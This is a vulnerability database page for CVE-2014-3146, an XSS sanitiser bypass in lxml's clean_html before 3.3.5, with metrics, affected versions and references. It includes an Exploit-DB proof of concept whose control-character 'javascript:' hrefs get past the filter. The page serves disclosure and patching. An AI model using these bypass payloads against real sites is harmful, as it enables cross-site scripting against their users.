CVE-2014-3146 : Detail

CVE-2014-3146

18%V4
Network
2014-05-14
17h00 +00:00
2017-12-28
18h57 +00:00
CVE.org
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CVE Descriptions

Incomplete blacklist vulnerability in the lxml.html.clean module in lxml before 3.3.5 allows remote attackers to conduct cross-site scripting (XSS) attacks via control characters in the link scheme to the clean_html function.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 39155

Publication date : 2014-04-14 22h00 +00:00
Author : Maksim Kochkin
EDB Verified : Yes

source: https://www.securityfocus.com/bid/67159/info lxml is prone to a security-bypass vulnerability. An attacker can leverage this issue to bypass security restrictions and perform unauthorized actions. This may aid in further attacks. Versions prior to lxml 3.3.5 are vulnerable. from lxml.html.clean import clean_html html = '''\ <html> <body> <a href="javascript:alert(0)"> aaa</a> <a href="javas\x01cript:alert(1)">bbb</a> <a href="javas\x02cript:alert(1)">bbb</a> <a href="javas\x03cript:alert(1)">bbb</a> <a href="javas\x04cript:alert(1)">bbb</a> <a href="javas\x05cript:alert(1)">bbb</a> <a href="javas\x06cript:alert(1)">bbb</a> <a href="javas\x07cript:alert(1)">bbb</a> <a href="javas\x08cript:alert(1)">bbb</a> <a href="javas\x09cript:alert(1)">bbb</a> </body> </html>''' print clean_html(html) Output: <div> <body> <a href="">aaa</a> <a href="javascript:alert(1)"> bbb</a> <a href="javascript:alert(1)">bbb</a> <a href="javascript:alert(1)">bbb</a> <a href="javascript:alert(1)">bbb</a> <a href="javascript:alert(1)">bbb</a> <a href="javascript:alert(1)">bbb</a> <a href="javascript:alert(1)">bbb</a> <a href="javascript:alert(1)">bbb</a> <a href="">bbb</a> </body> </div>

Products Mentioned

Configuraton 0

Lxml>>Lxml >> Version To (including) 3.3.4

Lxml>>Lxml >> Version 0.5

Lxml>>Lxml >> Version 0.5.1

Lxml>>Lxml >> Version 0.6

Lxml>>Lxml >> Version 0.7

Lxml>>Lxml >> Version 0.8

Lxml>>Lxml >> Version 0.9

Lxml>>Lxml >> Version 0.9.1

Lxml>>Lxml >> Version 0.9.2

Lxml>>Lxml >> Version 1.0

Lxml>>Lxml >> Version 1.0.1

Lxml>>Lxml >> Version 1.0.2

Lxml>>Lxml >> Version 1.0.3

Lxml>>Lxml >> Version 1.0.4

Lxml>>Lxml >> Version 1.1

Lxml>>Lxml >> Version 1.1.1

Lxml>>Lxml >> Version 1.1.2

Lxml>>Lxml >> Version 1.2

Lxml>>Lxml >> Version 1.2.1

Lxml>>Lxml >> Version 1.3

Lxml>>Lxml >> Version 1.3.1

Lxml>>Lxml >> Version 1.3.2

Lxml>>Lxml >> Version 1.3.3

Lxml>>Lxml >> Version 1.3.4

Lxml>>Lxml >> Version 1.3.5

Lxml>>Lxml >> Version 1.3.6

Lxml>>Lxml >> Version 2.0

Lxml>>Lxml >> Version 2.0.1

Lxml>>Lxml >> Version 2.0.2

Lxml>>Lxml >> Version 2.0.3

Lxml>>Lxml >> Version 2.0.4

Lxml>>Lxml >> Version 2.0.5

Lxml>>Lxml >> Version 2.0.6

Lxml>>Lxml >> Version 2.0.7

Lxml>>Lxml >> Version 2.0.8

Lxml>>Lxml >> Version 2.0.9

Lxml>>Lxml >> Version 2.0.10

Lxml>>Lxml >> Version 2.0.11

Lxml>>Lxml >> Version 2.1

Lxml>>Lxml >> Version 2.1

Lxml>>Lxml >> Version 2.1

Lxml>>Lxml >> Version 2.1

Lxml>>Lxml >> Version 2.1.1

Lxml>>Lxml >> Version 2.1.2

Lxml>>Lxml >> Version 2.1.3

Lxml>>Lxml >> Version 2.1.4

Lxml>>Lxml >> Version 2.2

Lxml>>Lxml >> Version 2.2

Lxml>>Lxml >> Version 2.2

Lxml>>Lxml >> Version 2.2

Lxml>>Lxml >> Version 2.2

Lxml>>Lxml >> Version 2.2

Lxml>>Lxml >> Version 2.2.1

Lxml>>Lxml >> Version 2.2.2

Lxml>>Lxml >> Version 2.2.3

Lxml>>Lxml >> Version 2.2.4

Lxml>>Lxml >> Version 2.2.5

Lxml>>Lxml >> Version 2.2.6

Lxml>>Lxml >> Version 2.2.7

Lxml>>Lxml >> Version 2.2.8

Lxml>>Lxml >> Version 2.3

Lxml>>Lxml >> Version 2.3

Lxml>>Lxml >> Version 2.3

Lxml>>Lxml >> Version 2.3

Lxml>>Lxml >> Version 2.3.1

Lxml>>Lxml >> Version 2.3.2

Lxml>>Lxml >> Version 2.3.3

Lxml>>Lxml >> Version 2.3.4

Lxml>>Lxml >> Version 2.3.5

Lxml>>Lxml >> Version 2.3.6

Lxml>>Lxml >> Version 3.0

Lxml>>Lxml >> Version 3.0

Lxml>>Lxml >> Version 3.0

Lxml>>Lxml >> Version 3.0

Lxml>>Lxml >> Version 3.0.1

Lxml>>Lxml >> Version 3.0.2

Lxml>>Lxml >> Version 3.1

Lxml>>Lxml >> Version 3.1.0

Lxml>>Lxml >> Version 3.1.1

Lxml>>Lxml >> Version 3.1.2

Lxml>>Lxml >> Version 3.2.0

Lxml>>Lxml >> Version 3.2.1

Lxml>>Lxml >> Version 3.2.2

Lxml>>Lxml >> Version 3.2.3

Lxml>>Lxml >> Version 3.2.4

Lxml>>Lxml >> Version 3.2.5

Lxml>>Lxml >> Version 3.3.0

Lxml>>Lxml >> Version 3.3.0

Lxml>>Lxml >> Version 3.3.0

Lxml>>Lxml >> Version 3.3.0

Lxml>>Lxml >> Version 3.3.0

Lxml>>Lxml >> Version 3.3.0

Lxml>>Lxml >> Version 3.3.1

Lxml>>Lxml >> Version 3.3.2

Lxml>>Lxml >> Version 3.3.3

References

http://www.debian.org/security/2014/dsa-2941
Tags : vendor-advisory, x_refsource_DEBIAN
http://lxml.de/3.3/changes-3.3.5.html
Tags : x_refsource_CONFIRM
http://www.openwall.com/lists/oss-security/2014/05/09/7
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-2217-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/58744
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/67159
Tags : vdb-entry, x_refsource_BID
http://www.mandriva.com/security/advisories?name=MDVSA-2015:112
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/58013
Tags : third-party-advisory, x_refsource_SECUNIA
http://seclists.org/fulldisclosure/2014/Apr/210
Tags : mailing-list, x_refsource_FULLDISC
http://secunia.com/advisories/59008
Tags : third-party-advisory, x_refsource_SECUNIA
http://seclists.org/fulldisclosure/2014/Apr/319
Tags : mailing-list, x_refsource_FULLDISC
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.